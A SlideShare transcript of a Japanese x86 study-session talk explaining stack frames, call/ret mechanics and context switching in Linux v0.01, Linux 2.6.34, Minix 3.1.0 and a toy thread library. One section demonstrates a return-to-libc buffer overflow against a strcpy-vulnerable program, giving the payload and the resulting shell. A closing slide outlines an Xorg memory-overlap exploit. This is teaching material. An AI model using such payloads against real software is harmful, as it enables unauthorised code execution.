SlideShare a Scribd company logo
1 of 76
Download to read offline
x86 とコンテキストスイッチ
        X86 勉強会 2010/08/21
              @masami256
自己紹介
・ Linux 好き
 - Fedora の Proven testers グループのメンバー
     - Fedora のテストを色々とやってます
 - 昔は Debian でパッケージのメンテしたり
・自作カーネルは一応経験済み
はじめに
    • 特に明記しない限り、 x86_32 のプロテクトモー
      ドで、呼出規約は cdecl です
[masami@ftest x86]$ uname -a
Linux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386
GNU/Linux
[masami@ftest x86]$ gcc -v
Using built-in specs.
Target: i686-redhat-linux
コンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info
--with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-
threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-
libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c+
+,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-
gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-
jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-
tune=generic --with-arch=i686 --build=i686-redhat-linux
スレッドモデル : posix
gcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
Agenda
  Todo               Doing   Done
          Linux
 Stack
          v0.01

Stack の    Linux
  命令      v2.6.34

Stack の   Minux
まとめ       v3.1.0

Context
          スレッド
Switch
Agenda
  Todo               Doing   Done
          Linux
                    Stack
          v0.01

Stack の    Linux
  命令      v2.6.34

Stack の   Minux
まとめ       v3.1.0

Context
          スレッド
Switch
x86 の命令実行での主な登場人物

• stack
• eip
• ebp
• esp
• call
• ret
• Task State Segment(TSS)
Stack
• SS レジスタが指すセグメントの領域
 – スタックが絡む命令では CPU が自動的に参照
• フラットメモリモデルの場合
  – リニアアドレス空間にスタックを設定可
 – 領域の大きさは、セグメント次第
• アクセスには esp 、 ebp を使用する
• 関数単位でスタックフレームに分割される
• メモリの高位アドレスから低位アドレスに
  向かって領域が伸びていく
esp と ebp
• esp
  – スタックポインタ
    • スタックの末端のアドレスを指す
• ebp
  – スタックフレームのベースポインタ
  – 減算することで、ローカル変数へアクセス
  – 加算することで、関数の引数へアクセス
スタックフレーム - サンプル
  void test2(int a, int b)
  {
    char s[10];
  }

  void test1(int a, int b)
  {
    int n = 10;
    int m = 20;

      test2(n + a, m + b);
  }

  int main(int argc, char **argv)
  {
     test1(1, 2);
     return 0;
  }
低位アドレス        スタックフレーム
                 esp
    s
              test2() のスタックフレーム
Saved ebp
Ret address
                                  test1() で引数の n と m にするには、この
    a                             ようになる
                                  movl %eax, 8(%ebp) <- a にアクセス
    b
              test1() のスタックフレーム   movl %edx, 12(%ebp) <- b にアクセス
    n
                                  ローカル変数の場合は、
    m                             movl -4(%ebp), %eax <- m にアクセス
Saved ebp                         movl -8(%ebp), %edx <- n にアクセス

Ret address
    a
              main() のスタックフレーム
    b
Saved ebp


高位アドレス
test1() 実行時のスタックフレーム
(gdb) x/x $ebp + 0
0xbffff708: 0xbffff718
(gdb) x/x $ebp + 4
0xbffff70c: 0x080483e9
(gdb) x/x $ebp + 8
0xbffff710: 0x00000001
(gdb) x/x $ebp + 12
0xbffff714: 0x00000002
(gdb) x/x $ebp - 4
0xbffff704: 0x00000014
(gdb) x/x $ebp - 8
0xbffff700: 0x0000000a
(gdb) x/20x $esp
0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff4
0xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e9
0xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc6
0xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
Agenda
  Todo               Doing    Done
          Linux     Stack の
                              Stack
          v0.01       命令

           Linux
          v2.6.34

Stack の   Minux
まとめ       v3.1.0

Context
          スレッド
Switch
Stack 操作の命令
• Push
• Pop
• Call
• Ret
• Enter
• Leave
Stack 操作の命令 - Push/Pop
void push_pop(void)
{
  int n = 0x20;

    printf("before: n is 0x%xn", n);   $ ./a.out
                                        before: n is 0x20
  asm volatile("push $0x10;nt"        after: n is 0x10
               "pop %
[output];nt"
               :[output]
"=g"(n));

    printf("after: n is 0x%xn", n);
}
Stack 操作の命令 - Call/Ret

void call001(void)
{
  printf("call001-1n");                 $ ./a.out
  asm ("pop %ebp;nt"                   call001-1
        "ret;nt");
  printf("call001-2n");
}                              call と ret 命令では、 cpu がリターンア
                               ドレスをスタック [ に積む / から取得 ]
void call_ret(void)            するので、使用時にこの辺は気にしな
{                              くてもよい仕様になってます。
  asm ("call call001;nt");
}
Stack 操作の命令 - Enter/Leave

.globl enter_leave
/* int enter_leave(void) */
enter_leave:
/* Reserve 16 bytes stack frame */             $ ./a.out
enter $0x10, $0                                ret is 32
movl $0x20, -4(%ebp)
/* %eax is return value */
movl -4(%ebp), %eax                    enter 命令の実行内容は、以下
/* Clear the stack frame */            の内容とほぼ等価です
leave                                  pushl %ebp
ret
                                       movl %esp, %ebp
/* 呼び出し */                             subl $16, %esp
printf("ret is %dn",enter_leave());
eip
• 次に実行する命令のアドレスが入る
• eip を直接弄ることはありません
• mov $0x10, %eip とかはできません
• call 、 ret や jmp 命令など実行すると
  cpu が適切な値を eip にセット
• eip はスタックに積まれるので、制御を
  自分で変更したい場合はこちらを弄り
  ます
制御を自分で変える
void hello2(void)
{
   cout << __FUNCTION__ << endl;
   exit(0);
}
extern "C" __attribute__((fastcall)) int hello(int a, int b)
{
   cout << a << ":" << b << endl;

}
   return 0;                                                                 $ ./a.out
int main(int argc, char **argv)                                              10:20
{
   int a = 10, b = 20;                                                       hello2
   unsigned long addr = (unsigned long) &hello2;

    __asm__ __volatile__("push %[ret_ip]nt"
               "jmp                                            hello;nt"
                ::
                [ret_ip] "g"                                   (addr),
                [arg_a]                                        "c"(a),
                [arg_b] "d"(b));

    return 0;
}
Agenda
  Todo               Doing     Done
          Linux     Stack の
                               Stack
          v0.01     まとめ

           Linux              Stack の
          v2.6.34               命令

          Minux
          v3.1.0

Context
          スレッド
Switch
ここまでのまとめ
void test(char *p)
{
  char buf[64];

    strcpy(buf, p);
}

int main(int argc, char **argv)
{
  test(argv[1]);

    printf("okn");
    return 0;
}
main()->test()->system()->exit()
    の流れで遊んでみる
system() に渡す引数の準備

bt test$ BINSH=/bin/sh ; export BINSH
bt test $ echo $BINSH
/bin/sh
bt test $ ./getenv
environment[BINSH] is in 0xbfffff15
メモリレイアウト
      低位アドレス




                 system() に渡す引数のアドレス
0xbfffff15
                 exit() のアドレス
0xb7ece3a0
                 system() のアドレス
0xb7ed86e0

B*4             オーバーフロー用のゴミデータ
                BBBB で ebp が上書きされる
A*72
      高位アドレス
実行してみる
bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB" + "xe0x86xedxb7" +
"xa0xe3xecxb7" + "x15xffxffxbf"'`
__libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...>
strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800)                        =
0xbffff510
sh-3.1$ id
uid=1001(cola) gid=100(users) groups=100(users)
sh-3.1$ exit
exit
--- SIGCHLD (Child exited) ---
+++ exited (status 0) +++
bt test $
Agenda
Todo              Doing     Done
       Linux     Context
                            Stack
       v0.01     Switch

        Linux              Stack の
       v2.6.34               命令

       Minux               Stack の
       v3.1.0              まとめ


       スレッド
Context Switching

• Hardware Context Switching
 –X86 のタスク切り替え機能を利用
 –Linux の v0.01 はこちら
• Software Context Switching
 –自分でタスクを切り替える
   • 一部で cpu の機能を使う必要がある
 –今時のカーネルは普通こちら
TSS
• Hardware/Software コンテキストスイッチ
  どちらでも利用する
  – Hardware コンテキストスイッチは TSS 必須
  – Sfowtware コンテキストスイッチでは所用によ
    り使う
• 各種レジスタ、セグメントなどの情報、 IO 許可
  マップなどの情報を保存する領域
Hardware Context Switching
• CPU によるサポート
 – FPU 、 MMX 、 SSE の切り替えは未サポート
 – GDT に TSS を置くので、タスク数は 8190 個
   が最大
• あまり使われていない
 – モダンな OS で使われてるケースってあるので
   しょうか?
• Why?
 – 遅い(らしい)
 – http://wiki.osdev.org/Context_Switching
Hardware Context Switching の処理
• TSS を作り GDT に置く
 – TSS はプロセス毎
• ltr 命令で TSS をセットする
 – 1 つ目の TSS だけで OK
• プロセスの切り替えは、 JMP/CALL 命令で
  実施
 – 各レジスタのセーブ・リストアに関しては
   CPU がやってくれる
 – FPU などは除く
Software Context Switching
• X86 の機能をフル活用しない
  – TSS の esp0 や IOBP などは利用しま
    す
• タスク数の制限はない
  – プロセス単位に TSS ディスクリプタ
    が不要
Software Context Switching の処理
• TSS を作り GDT に置く
 – Linux の場合、 TSS は cpu 毎
• ltr 命令で TSS をセットする
 – 1 つ目の TSS だけで OK
• プロセスの切り替えはスタックの切り替えで実
  施
  – スタックを次のプロセスのものに切り替えて
    るのと、関数から戻るときにスタックに積ま
    れている eip を利用して切り替えを実施
  – FPU などは自分で切り替える
Agenda
Todo              Doing    Done
                 Linux
                           Stack
                 v0.01

        Linux             Stack の
       v2.6.34              命令

       Minux              Stack の
       v3.1.0             まとめ

                          Context
       スレッド               Switch
Linux v0.01 の場合
Linux v0.01 - sched_init
kernel/sched.c
231void sched_init(void)       TSS ディスクリプタを GDT にセット
232{                           * fork() 時は新プロセス用に作った TSS
                               ディスクリプタをセットします
233 int i;
234 struct desc_struct * p;
235
236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss));
237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt));
snip
246     ltr(0);           ltr 命令で TSS をセットします。
snip
254}

include/linux/sched.h
154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n))
Linux v0.01 - copy_process()
kernel/fork.c
61int copy_process(int nr,long ebp,long edi,long esi,long gs,long none,
64 long eip,long cs,long eflags,long esp,long ss)
65{
snip
70     p = (struct task_struct *) get_free_page();
71 if (!p)
72       return -EAGAIN;
73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */
74 p->state = TASK_RUNNING;
75 p->pid = last_pid;                         70 行目以降で作った新しいプ
snip                                          ロセスのディスクリプタを設定
118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss));
119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt));
120 task[nr] = p; /* do this last, just in case */
121 return last_pid;
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt"                __tmp.b に gdt に設
                                               定されている次のプ
173 "movw %%dx,%1nt"                        ロセスの TSS セレク
174 "ljmp %0nt"                             タ値を代入
175 "cmpl %%ecx,%2nt" 
176 "jne 1fnt" 
177 "cltsn" 
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt"          カレントプロセスと次のプロ
173 "movw %%dx,%1nt"                  セスが同一ならなにもしない
174 "ljmp %0nt" 
175 "cmpl %%ecx,%2nt" 
176 "jne 1fnt" 
177 "cltsn" 
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt" 
173 "movw %%dx,%1nt" 
                                    セグメント間ジャンプでプロセス
174 "ljmp %0nt" 
                                    切り替え実行
175 "cmpl %%ecx,%2nt" 
176 "jne 1fnt" 
177 "cltsn" 
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt" 
173 "movw %%dx,%1nt"          最後に FPU レジスタを使ったプロ
174 "ljmp %0nt"               セスと切り替え後のプロセスを比
175 "cmpl %%ecx,%2nt"         較して同じだったら、 clts 命令を
176 "jne 1fnt"                実行い CR0 レジスタの TS フラグ
177 "cltsn"                    をリセットする
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
clts 命令と TS フラグ
• CR0 レジスタの TS フラグをクリアする命令
• TS は Task Switch の略
• TS フラグはハードウェアコンテキストスイッチ
  発生時に CPU によりセットされる
• このフラグが立っているときに、浮動小数点命
  令を使用すると例外( Device not available) が発
  生する
• この仕組みを利用して、 FPU レジスタの退避を
  遅延させることができる
Agenda
  Todo   Doing                 Done
Minux     Linux                Linux
                      Stack
v3.1.0   v2.6.34               v0.01

                     Stack の
スレッド                   命令

                     Stack の
                     まとめ

                     Context
                     Switch
Linux v2.6.34 の場合
Linux 2.6.34 の Context Switch
• switch_to マクロ
   – arch/x86/include/asm/system.h
• __switch_to()
   – arch/x86/kernel/process_32.c
switch_to - 概要
arch/x86/include/asm/system.h
44/*
45 * Saving eflags is important. It switches not only IOPL
between tasks,
46 * it also protects other tasks from NT leaking through
sysenter etc.
47 */
48#define switch_to(prev, next, last) 

このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、
次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to()
の呼出をします。 __switch_to() から戻った時点で、プロセスが
切り替わっています。
switch_to - 実行部分
57 unsigned long ebx, ecx, edx, esi, edi; 
58 
59 asm volatile("pushflnt" /* save flags */ 
60 "pushl %%ebpnt" /* save EBP */ 
61 "movl %%esp,%[prev_sp]nt" /* save ESP */ 
62 "movl %[next_sp],%%espnt" /* restore ESP */ 
63 "movl $1f,%[prev_ip]nt" /* save EIP */ 
64 "pushl %[next_ip]nt" /* restore EIP */ 
65 __switch_canary 
66 "jmp __switch_ton" /* regparm call */ 
67 "1:t" 
68 "popl %%ebpnt" /* restore EBP */ 
69 "popfln" /* restore flags */
__switch_to() の主な処理

• もし Prev プロセスが FPU を使っていた場合
  は、 FPU レジスタを退避する
• clts 命令の実行などもある
• カーネル用のスタックを設定
• TSS の sp0
• Thread Local Storage へアクセス出きるよう
  にセグメントを設定 
• I/O ポートへのアクセス権の設定
プロセス切替の完了
 67 "1:t" 
 68 "popl %%ebpnt" /* restore
 EBP */ 
 69 "popfln" /* restore flags */ 


__switch_to() から戻る場所は、 67 行目にセット
されているので、 ebp と、 eflags をリストアす
ることで switch_to() の処理は終了し、 Next プロ
セスの実行が始まる。
プロセス切替時のスタックの様子
                            jmp 命令で __switch_to() を呼
Prev プロセスの                  び、 __switch_to() から return するとき
スタック                        にきに ret 命令が Next プロセスのスタ
                            ックから %next_ip を読込み、指定され
ebp              esp        た場所に戻る
                 pushl %%ebp
eflags
                 pushfl
XXX
                                     Next プロセスの 
XXX
                                     スタック
             movl %[next_sp],%%esp


                                                    esp
                                     Ret Address
                                                    pushl %
                                     XXX            [next_ip]
                                     XXX
Agenda
 Todo   Doing                 Done
        Minux                 Linux
スレッド                 Stack
        v3.1.0                v0.01

                    Stack の    Linux
                      命令      v2.6.34

                    Stack の
                    まとめ

                    Context
                    Switch
Minix v3.1.0 の場合
Minix3.1.0 の Context Switch
●
 kernel/mpx386.s に実装がある
●
 _restart() がコンテキストスイッチを実行
●
 通常は c の関数からは呼ばれない
    ●
        同ファイルの割り込みハンドラから実行
例外は kernel/main.c の main() で、終了時に呼
●


び出される
    ●
        main() の最後に _restart() を呼ぶ
    ●
        スケジューラにセットされたサーバプロセス
         の起動処理が走りだす
_restart - 前半
_restart:
cmp (_next_ptr), 0           _next_ptr は次のプロセス
jz 0f                        で、次のプロセスが無け
mov eax, (_next_ptr)         れば、今のプロセスを継
mov (_proc_ptr), eax         続する
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
_restart - 前半
_restart:
                             _proc_ptr に _next_ptr をセ
cmp (_next_ptr), 0           ットして、 _next_ptr を
jz 0f                        NULL にする
mov eax, (_next_ptr)
mov (_proc_ptr), eax
                                 LDT をセット
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
_restart - LDT の設定
先ほど出てきた P_LDT_SEL はマクロで、 proc 構造体の配列 p_ldt
にアクセスするために使用しています。このマクロを使用すること
で、 lldt 命令の引数を正しくセットできます。
マクロは kernel/sconst.h にて定義。

struct proc {
struct stackframe_s p_reg; /* process' registers saved in stack frame
*/

#if (CHIP == INTEL)
reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */
struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and
remote segments */
#endif


      この p_ldt にアクセスする
_restart - 前半
_restart:
cmp (_next_ptr), 0
jz 0f
mov eax, (_next_ptr)
mov (_proc_ptr), eax         TSS の sp0 をセット
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
Minix の TSS 構造体
kernel/protect.h
struct tss_s {
reg_t backlink;
reg_t sp0;
reg_t ss0;         mov (_tss+TSS3_S_SP0), eax
reg_t sp1;         ↑ の mov 命令で sp0 をセットするわけですが、その仕組み
                   は単純で、 TSS を表す構造体 _tss の先頭からオフセット
snip               TSS3_S_SP0 バイト目にアクセスするだけです。
                   386 版の aMinix では reg_t は 4 バイトなので、先頭から 4 バ
};                 イト目は sp0 となり、目的の位置にアクセスできます。


#define TSS3_S_SP0 4
_restart - 後半
restart1:           _restart() 内では使用しないラベル

decb (_k_reenter)
                      カーネルのリエントラント用
o16 pop gs            のカウンタをデクリメント
o16 pop fs
o16 pop es
o16 pop ds             スタックに積まれているリ
popad                  ターンアドレスを無視

add esp, 4
iretd
            iretd で抜けて処理が完了
Agenda
Todo   Doing                 Done
                             Linux
       スレッド         Stack
                             v0.01

                   Stack の    Linux
                     命令      v2.6.34

                   Stack の   Minux
                   まとめ       v3.1.0

                   Context
                   Switch
スレッド

    スタックの切り替えでスレッドを切り替え
    ることができます

    実験は x86_64 で行ってます
スレッド構造体
typedef struct _Thread {
   struct _Thread *next;
   int thread_id;
   unsigned long context[CONTEXT_SIZE];
   char *stack_top; /* NULL if this is main() thread */
   int status;
} Thread;
メインスレッド
void ThreadMain(int argc, char **argv)
{
   int t1, t2;

    t1 = ThreadCreate(f, 1);
    printf("create a new thread (i=%d) [id=%d]n", 1, t1);
    t2 = ThreadCreate(f, 2);
    printf("create a new thread (i=%d) [id=%d]n", 2, t2);
    ThreadYield();
    printf("main thread finished.n");
}
スレッド生成 - 前半
int ThreadCreate(ThreadProc proc, unsigned long arg)
{
    Thread *child;
    unsigned long addr = (unsigned long) ThreadStart;
    unsigned long stack_start = 0;

   child = AllocateThread();

   child->stack_top = malloc(STACK_ALLOC_SIZE);
   memset(child->stack_top, 0, STACK_ALLOC_SIZE);

   stack_start = (unsigned long) child->stack_top + STACK_SIZE;
   memcpy((char *) stack_start, &addr, sizeof(addr));
スレッド生成 - 後半
    child->context[0] = stack_start;
    child->context[1] = stack_start;
    child->context[2] = (unsigned long) proc;
    child->context[3] = arg;

    child->status = RUNNING;

    LinkThread(child);

    return child->thread_id;

}
スレッドのエントリポイント


static void ThreadStart(unsigned long proc, unsigned long arg)
{
    ThreadProc ptr = (ThreadProc) proc;
    ptr(arg);
    ThreadExit();
}
ThreadYeild- 前半
void ThreadYield()
{
   Thread *t;
   int found = 0;

   for (t = threadList->next; t; t = t->next) {
       if (t && t->status == RUNNING && t != currentThread) {
            found = 1;
            break;
       }
   }
ThreadYeild- 後半
if (found) {
        Thread *cur = currentThread;
        currentThread = t;

        printf("switch id %d to %dn", cur->thread_id, t->thread_id);
        _ContextSwitch(cur->context, t->context);
    } else if (currentThread->thread_id == MAIN_THREAD_ID) {
        // main thread's state is FINISH.
        printf("There is only main threadn");
    } else {
        printf("There is no active threadn");
    }
}
_ContextSwitch
//void _ContextSwitch(void* old_context, void* new_context);
.globl ENTRY(_ContextSwitch)
ENTRY(_ContextSwitch):
    movq %rdi, %rax // old
    movq %rsp, 0(%rax)
    movq %rbp, 8(%rax)
    movq %rdi, 16(%rax)
    movq %rsi, 24(%rax)
    movq %rsi, %rax // new
    movq 0(%rax), %rsp
    movq 8(%rax), %rbp
    movq 16(%rax), %rdi // arg1
    movq 24(%rax), %rsi // arg2
    ret
スレッドの実行内容
void f(int i)
{
   int n = 0;

    for (n = 0; n < 10; n++) {
       printf("thread(%d): %d.n", i, n);
       ThreadYield();
    }

    printf("thread (i=%d) finished.n", i);
}
実行結果
[masami@moon]~/experiment/thread% ./test1
create a new thread (i=1) [id=1]
create a new thread (i=2) [id=2]
switch id 0 to 2
thread(2): 0.
switch id 2 to 1
thread(1): 0.
switch id 1 to 2
~
switch id 1 to 2
thread (i=2) finished.
switch id -1 to 1
thread (i=1) finished.
switch id -1 to 0
main thread finished.
まとめ

• プロセスの切り替えは、スタックとスタック
  操作のメカニズムが主要な鍵になってます
• スタック周りの説明はバッファオーバーフロ
  ーなどのテクニックを紹介している本が結構
  詳しいです
• 大概は x86 で説明しているのと、 exploit コ
  ードの説明ではスタックの知識が必要なので
  …
追加スライド

• Linux カーネルの脆弱性のレポート
  – Exploiting large memory management
    vulnerabilities in Xorg server running on
    Linux
• スタック & ヒープ領域に絡んだ話です
  – デフォルトインストールの Fedora 13 で
    再現
     • F13 は selinux 有効、 exec-shiled パッ
       チ有りがデフォルトです
概要

スタックとヒープを大量に使った場合の問題
●

    ●
        スタックとヒープが重なったら危険!
Xorg の MIT-SHM という拡張機能を使ってい
●


ると exploit の効果が抜群
    ●
        この拡張を無効にすれば exploit の信頼性が落
         ちるけど、 Xorg の機能性も落ちる
シナリオ

X サーバに大量のメモリを確保させる
●

    ●
        x86_32 では実行する必要なし
●
 共有メモリ S を限界まで確保させる
●
 関数 F の再帰呼び出しを繰り返し実行させる
●
 S の領域に 0 以外のデータが入っている場所
  を探す
    ●
        スタックフレームとヒープが重なった!
シナリオ
●
 プロセス W を立ち上げて、 S 内のデータを
payload で書き換える
●
 F が関数から戻るときはスタックからリター
ンアドレスを取得する
    ●
        この時に payload を読み込んだらゲームオー
         バー
    ●
        W による書き換えと、 F がリターンアドレス
         を取得するタイミングでレースがある
    ●
        でも、ほとんどの SMP システムでは上手く
         できる
ご清聴ありがとうございました
リファレンス
• Insecure Programming by example
  – http://community.corest.com/~gera/InsecureProgramming/
• OSDev.org
   – http://wiki.osdev.org/Main_Page
• Hacking: 美しき策謀 —脆弱性攻撃の理論と実際
   – http://www.amazon.co.jp/dp/4873112303
• xorg-large-memory-attack.pdf
   – http://www.invisiblethingslab.com/resources/misc-
     2010/xorg-large-memory-attacks.pdf

More Related Content

What's hot

きつねさんでもわかるLlvm読書会 第2回
きつねさんでもわかるLlvm読書会 第2回きつねさんでもわかるLlvm読書会 第2回
きつねさんでもわかるLlvm読書会 第2回Tomoya Kawanishi
 
条件分岐とcmovとmaxps
条件分岐とcmovとmaxps条件分岐とcmovとmaxps
条件分岐とcmovとmaxpsMITSUNARI Shigeo
 
SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介MITSUNARI Shigeo
 
非同期処理の基礎
非同期処理の基礎非同期処理の基礎
非同期処理の基礎信之 岩永
 
組み込み関数(intrinsic)によるSIMD入門
組み込み関数(intrinsic)によるSIMD入門組み込み関数(intrinsic)によるSIMD入門
組み込み関数(intrinsic)によるSIMD入門Norishige Fukushima
 
ゲーム開発者のための C++11/C++14
ゲーム開発者のための C++11/C++14ゲーム開発者のための C++11/C++14
ゲーム開発者のための C++11/C++14Ryo Suzuki
 
中3女子でもわかる constexpr
中3女子でもわかる constexpr中3女子でもわかる constexpr
中3女子でもわかる constexprGenya Murakami
 
カスタムメモリマネージャと高速なメモリアロケータについて
カスタムメモリマネージャと高速なメモリアロケータについてカスタムメモリマネージャと高速なメモリアロケータについて
カスタムメモリマネージャと高速なメモリアロケータについてalwei
 
AVX2時代の正規表現マッチング 〜半群でぐんぐん!〜
AVX2時代の正規表現マッチング 〜半群でぐんぐん!〜AVX2時代の正規表現マッチング 〜半群でぐんぐん!〜
AVX2時代の正規表現マッチング 〜半群でぐんぐん!〜Ryoma Sin'ya
 
constexpr関数はコンパイル時処理。これはいい。実行時が霞んで見える。cpuの嬌声が聞こえてきそうだ
constexpr関数はコンパイル時処理。これはいい。実行時が霞んで見える。cpuの嬌声が聞こえてきそうだconstexpr関数はコンパイル時処理。これはいい。実行時が霞んで見える。cpuの嬌声が聞こえてきそうだ
constexpr関数はコンパイル時処理。これはいい。実行時が霞んで見える。cpuの嬌声が聞こえてきそうだGenya Murakami
 
Constexpr 中3女子テクニック
Constexpr 中3女子テクニックConstexpr 中3女子テクニック
Constexpr 中3女子テクニックGenya Murakami
 
macOSの仮想化技術について ~Virtualization-rs Rust bindings for virtualization.framework ~
macOSの仮想化技術について ~Virtualization-rs Rust bindings for virtualization.framework ~macOSの仮想化技術について ~Virtualization-rs Rust bindings for virtualization.framework ~
macOSの仮想化技術について ~Virtualization-rs Rust bindings for virtualization.framework ~NTT Communications Technology Development
 
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)Kuniyasu Suzaki
 
規格書で読むC++11のスレッド
規格書で読むC++11のスレッド規格書で読むC++11のスレッド
規格書で読むC++11のスレッドKohsuke Yuasa
 
.NET Core 3.0時代のメモリ管理
.NET Core 3.0時代のメモリ管理.NET Core 3.0時代のメモリ管理
.NET Core 3.0時代のメモリ管理KageShiron
 
高速な倍精度指数関数expの実装
高速な倍精度指数関数expの実装高速な倍精度指数関数expの実装
高速な倍精度指数関数expの実装MITSUNARI Shigeo
 
こわくない Git
こわくない Gitこわくない Git
こわくない GitKota Saito
 

What's hot (20)

プログラムを高速化する話
プログラムを高速化する話プログラムを高速化する話
プログラムを高速化する話
 
きつねさんでもわかるLlvm読書会 第2回
きつねさんでもわかるLlvm読書会 第2回きつねさんでもわかるLlvm読書会 第2回
きつねさんでもわかるLlvm読書会 第2回
 
条件分岐とcmovとmaxps
条件分岐とcmovとmaxps条件分岐とcmovとmaxps
条件分岐とcmovとmaxps
 
SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介
 
非同期処理の基礎
非同期処理の基礎非同期処理の基礎
非同期処理の基礎
 
組み込み関数(intrinsic)によるSIMD入門
組み込み関数(intrinsic)によるSIMD入門組み込み関数(intrinsic)によるSIMD入門
組み込み関数(intrinsic)によるSIMD入門
 
LLVM最適化のこつ
LLVM最適化のこつLLVM最適化のこつ
LLVM最適化のこつ
 
ゲーム開発者のための C++11/C++14
ゲーム開発者のための C++11/C++14ゲーム開発者のための C++11/C++14
ゲーム開発者のための C++11/C++14
 
中3女子でもわかる constexpr
中3女子でもわかる constexpr中3女子でもわかる constexpr
中3女子でもわかる constexpr
 
カスタムメモリマネージャと高速なメモリアロケータについて
カスタムメモリマネージャと高速なメモリアロケータについてカスタムメモリマネージャと高速なメモリアロケータについて
カスタムメモリマネージャと高速なメモリアロケータについて
 
AVX2時代の正規表現マッチング 〜半群でぐんぐん!〜
AVX2時代の正規表現マッチング 〜半群でぐんぐん!〜AVX2時代の正規表現マッチング 〜半群でぐんぐん!〜
AVX2時代の正規表現マッチング 〜半群でぐんぐん!〜
 
constexpr関数はコンパイル時処理。これはいい。実行時が霞んで見える。cpuの嬌声が聞こえてきそうだ
constexpr関数はコンパイル時処理。これはいい。実行時が霞んで見える。cpuの嬌声が聞こえてきそうだconstexpr関数はコンパイル時処理。これはいい。実行時が霞んで見える。cpuの嬌声が聞こえてきそうだ
constexpr関数はコンパイル時処理。これはいい。実行時が霞んで見える。cpuの嬌声が聞こえてきそうだ
 
Plan 9のお話
Plan 9のお話Plan 9のお話
Plan 9のお話
 
Constexpr 中3女子テクニック
Constexpr 中3女子テクニックConstexpr 中3女子テクニック
Constexpr 中3女子テクニック
 
macOSの仮想化技術について ~Virtualization-rs Rust bindings for virtualization.framework ~
macOSの仮想化技術について ~Virtualization-rs Rust bindings for virtualization.framework ~macOSの仮想化技術について ~Virtualization-rs Rust bindings for virtualization.framework ~
macOSの仮想化技術について ~Virtualization-rs Rust bindings for virtualization.framework ~
 
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
